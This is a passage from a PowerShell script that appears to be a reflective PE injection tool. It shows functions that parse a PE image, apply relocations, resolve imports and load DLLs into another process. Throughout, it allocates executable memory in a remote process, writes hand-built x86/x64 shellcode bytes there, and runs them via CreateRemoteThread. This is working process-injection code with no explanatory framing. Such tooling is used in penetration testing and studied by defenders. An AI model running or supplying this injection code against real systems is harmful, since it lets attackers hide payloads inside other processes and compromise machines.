$PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
$PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
if ($PEInfo.PE64Bit -eq $true)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
else
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
$PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
}
if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
}
elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
{
$PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
}
else
{
Throw "PE file is not an EXE or DLL"
}
return $PEInfo
}
Function Import-DllInRemoteProcess
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$ImportDllPathPtr
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
$DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
$RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RImportDllPathPtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($DllPathSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
[IntPtr]$DllAddress = [IntPtr]::Zero
if ($PEInfo.PE64Bit -eq $true)
{
$LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
}
$LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$LoadLibrarySC2 = @(0x48, 0xba)
$LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
$LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
$SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if ($Result -eq $false)
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
else
{
[IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[Int32]$ExitCode = 0
$Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
if (($Result -eq 0) -or ($ExitCode -eq 0))
{
Throw "Call to GetExitCodeThread failed"
}
[IntPtr]$DllAddress = [IntPtr]$ExitCode
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
return $DllAddress
}
Function Get-RemoteProcAddress
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$RemoteProcHandle,
[Parameter(Position=1, Mandatory=$true)]
[IntPtr]
$RemoteDllHandle,
[Parameter(Position=2, Mandatory=$true)]
[IntPtr]
$FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)
[Parameter(Position=3, Mandatory=$true)]
[Bool]
$LoadByOrdinal
)
$PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
[IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal
if (-not $LoadByOrdinal)
{
$FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
$FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
$RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($RFuncNamePtr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw "Unable to write DLL path to remote process memory"
}
if ($FunctionNameSize -ne $NumBytesWritten)
{
Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
}
}
else
{
$RFuncNamePtr = $FunctionNamePtr
}
$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
$GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
$GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
}
[Byte[]]$GetProcAddressSC = @()
if ($PEInfo.PE64Bit -eq $true)
{
$GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
$GetProcAddressSC2 = @(0x48, 0xba)
$GetProcAddressSC3 = @(0x48, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
$GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
$GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
$GetProcAddressSC2 = @(0xb9)
$GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
$GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
$GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw "Unable to allocate memory in the remote process for shellcode"
}
[UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw "Unable to write shellcode to remote process memory."
}
$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw "Call to CreateRemoteThread to call GetProcAddress failed."
}
[IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
$Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
{
Throw "Call to ReadProcessMemory failed"
}
[IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
if (-not $LoadByOrdinal)
{
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
return $ProcAddress
}
Function Copy-Sections
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[Byte[]]
$PEBytes,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
$SizeOfRawData = $SectionHeader.SizeOfRawData
if ($SectionHeader.PointerToRawData -eq 0)
{
$SizeOfRawData = 0
}
if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
{
$SizeOfRawData = $SectionHeader.VirtualSize
}
if ($SizeOfRawData -gt 0)
{
Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
[System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)
}
if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)
{
$Difference = $SectionHeader.VirtualSize - $SizeOfRawData
[IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))
Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null
$Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null
}
}
}
Function Update-MemoryAddresses
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[Int64]
$OriginalImageBase,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
[Int64]$BaseDifference = 0
$AddDifference = $true #Track if the difference variable should be added or subtracted from variables
[UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)
if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `
-or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))
{
return
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)
$AddDifference = $false
}
elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)
{
$BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)
}
[IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))
while($true)
{
$BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)
if ($BaseRelocationTable.SizeOfBlock -eq 0)
{
break
}
[IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))
$NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2
for($i = 0; $i -lt $NumRelocations; $i++)
{
$RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))
[UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])
[UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF
[UInt16]$RelocType = $RelocationInfo -band 0xF000
for ($j = 0; $j -lt 12; $j++)
{
$RelocType = [Math]::Floor($RelocType / 2)
}
if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `
-or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))
{
[IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))
[IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])
if ($AddDifference -eq $true)
{
[IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
else
{
[IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null
}
elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)
{
Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo"
}
}
$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))
}
}
Function Import-DllImports
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Types,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 4, Mandatory = $false)]
[IntPtr]
$RemoteProcHandle
)
$RemoteLoading = $false
if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)
{
$RemoteLoading = $true
}
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
break
}
$ImportDllHandle = [IntPtr]::Zero
$ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
if ($RemoteLoading -eq $true)
{
$ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr
}
else
{
$ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath)
}
if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero))
{
throw "Error importing DLL, DLLName: $ImportDllPath"
}
[IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk)
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
while ($OriginalThunkRefVal -ne [IntPtr]::Zero)
{
$LoadByOrdinal = $false
[IntPtr]$ProcedureNamePtr = [IntPtr]::Zero
[IntPtr]$NewThunkRef = [IntPtr]::Zero
if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0)
{
[IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
$LoadByOrdinal = $true
}
elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0)
{
[IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal
$LoadByOrdinal = $true
}
else
{
[IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal)
$StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))
$ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr)
$ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName)
}
if ($RemoteLoading -eq $true)
{
[IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal
}
else
{
[IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr)
}
if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero)
{
if ($LoadByOrdinal)
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath"
}
else
{
Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath"
}
}
[System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false)
$ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]))
[IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr])
if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero))
{
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr)
$ProcedureNamePtr = [IntPtr]::Zero
}
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
}
Function Get-VirtualProtectValue
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[UInt32]
$SectionCharacteristics
)
$ProtectionFlag = 0x0
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_EXECUTE
}
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0)
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_READWRITE
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_READONLY
}
}
else
{
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0)
{
$ProtectionFlag = $Win32Constants.PAGE_WRITECOPY
}
else
{
$ProtectionFlag = $Win32Constants.PAGE_NOACCESS
}
}
}
if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0)
{
$ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE
}
return $ProtectionFlag
}
Function Update-MemoryProtectionFlags
{
Param(
[Parameter(Position = 0, Mandatory = $true)]
[System.Object]
$PEInfo,
[Parameter(Position = 1, Mandatory = $true)]
[System.Object]
$Win32Functions,
[Parameter(Position = 2, Mandatory = $true)]
[System.Object]
$Win32Constants,
[Parameter(Position = 3, Mandatory = $true)]
[System.Object]
$Win32Types
)
for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
{
[IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
$SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
[IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress)
[UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics
[UInt32]$SectionSize = $SectionHeader.VirtualSize
[UInt32]$OldProtectFlag = 0
